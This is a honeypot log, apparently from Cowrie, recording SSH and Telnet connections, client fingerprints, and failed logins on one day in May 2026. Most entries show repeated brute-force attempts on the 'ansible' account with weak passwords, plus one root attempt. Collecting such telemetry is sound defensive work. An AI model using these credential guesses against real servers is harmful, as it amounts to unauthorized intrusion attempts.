{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41290,"dst_ip":"159.203.135.109","dst_port":22,"session":"633965986ca4","protocol":"ssh","message":"New connection: 159.203.92.129:41290 (159.203.135.109:22) [session: 633965986ca4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:33.361739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:33.366725Z","src_ip":"159.203.92.129","session":"633965986ca4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:33.375755Z","src_ip":"159.203.92.129","session":"633965986ca4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"password123","message":"login attempt [ansible/password123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:33.424032Z","src_ip":"159.203.92.129","session":"633965986ca4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:48:34.432590Z","src_ip":"159.203.92.129","session":"633965986ca4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43748,"dst_ip":"159.203.135.109","dst_port":22,"session":"956d5ebd94d0","protocol":"ssh","message":"New connection: 159.203.92.129:43748 (159.203.135.109:22) [session: 956d5ebd94d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:00.154155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:00.340819Z","src_ip":"159.203.92.129","session":"956d5ebd94d0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:00.345088Z","src_ip":"159.203.92.129","session":"956d5ebd94d0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"password1234","message":"login attempt [ansible/password1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:01.053470Z","src_ip":"159.203.92.129","session":"956d5ebd94d0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:02.318202Z","src_ip":"159.203.92.129","session":"956d5ebd94d0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":34998,"dst_ip":"159.203.135.109","dst_port":23,"session":"119ffde73a62","protocol":"telnet","message":"New connection: 62.171.135.55:34998 (159.203.135.109:23) [session: 119ffde73a62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:04.359155Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55540,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca5ec4340da8","protocol":"ssh","message":"New connection: 159.203.92.129:55540 (159.203.135.109:22) [session: ca5ec4340da8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:25.756784Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:25.959705Z","src_ip":"159.203.92.129","session":"ca5ec4340da8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:25.963668Z","src_ip":"159.203.92.129","session":"ca5ec4340da8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"public","message":"login attempt [ansible/public] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:26.580208Z","src_ip":"159.203.92.129","session":"ca5ec4340da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:27.826333Z","src_ip":"159.203.92.129","session":"ca5ec4340da8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.87334108352661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:35.232390Z","src_ip":"62.171.135.55","session":"119ffde73a62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"184.107.167.149","src_port":41852,"dst_ip":"10.17.0.5","dst_port":23,"session":"18778a98a5be","protocol":"telnet","message":"New connection: 184.107.167.149:41852 (10.17.0.5:23) [session: 18778a98a5be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:41.212720Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49696,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d97b3b3c285","protocol":"ssh","message":"New connection: 159.203.92.129:49696 (159.203.135.109:22) [session: 7d97b3b3c285]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:51.868811Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:52.145952Z","src_ip":"159.203.92.129","session":"7d97b3b3c285","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:52.150083Z","src_ip":"159.203.92.129","session":"7d97b3b3c285","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"q1w2e3","message":"login attempt [ansible/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:53.337410Z","src_ip":"159.203.92.129","session":"7d97b3b3c285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:49:55.173456Z","src_ip":"159.203.92.129","session":"7d97b3b3c285","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.26046299934387,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:21.473094Z","src_ip":"184.107.167.149","session":"18778a98a5be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33800,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe00fc98a3dd","protocol":"ssh","message":"New connection: 159.203.92.129:33800 (159.203.135.109:22) [session: fe00fc98a3dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:28.871146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:29.296394Z","src_ip":"159.203.92.129","session":"fe00fc98a3dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:29.300211Z","src_ip":"159.203.92.129","session":"fe00fc98a3dd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"q1w2e3r4","message":"login attempt [ansible/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:31.025108Z","src_ip":"159.203.92.129","session":"fe00fc98a3dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:32.300423Z","src_ip":"159.203.92.129","session":"fe00fc98a3dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52728,"dst_ip":"159.203.135.109","dst_port":22,"session":"5134817979f5","protocol":"ssh","message":"New connection: 159.203.92.129:52728 (159.203.135.109:22) [session: 5134817979f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:54.095285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:54.196984Z","src_ip":"159.203.92.129","session":"5134817979f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:54.202103Z","src_ip":"159.203.92.129","session":"5134817979f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"q1w2e3r4t5","message":"login attempt [ansible/q1w2e3r4t5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:54.749408Z","src_ip":"159.203.92.129","session":"5134817979f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:50:55.947052Z","src_ip":"159.203.92.129","session":"5134817979f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.99.170.152","src_port":33062,"dst_ip":"159.203.135.109","dst_port":22,"session":"b108485b67f1","protocol":"ssh","message":"New connection: 50.99.170.152:33062 (159.203.135.109:22) [session: b108485b67f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:01.486970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:01.492337Z","src_ip":"50.99.170.152","session":"b108485b67f1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:01.550708Z","src_ip":"50.99.170.152","session":"b108485b67f1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Xm123456","message":"login attempt [root/Xm123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:01.816031Z","src_ip":"50.99.170.152","session":"b108485b67f1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:51:02.892566Z","src_ip":"50.99.170.152","session":"b108485b67f1","protocol":"ssh"}
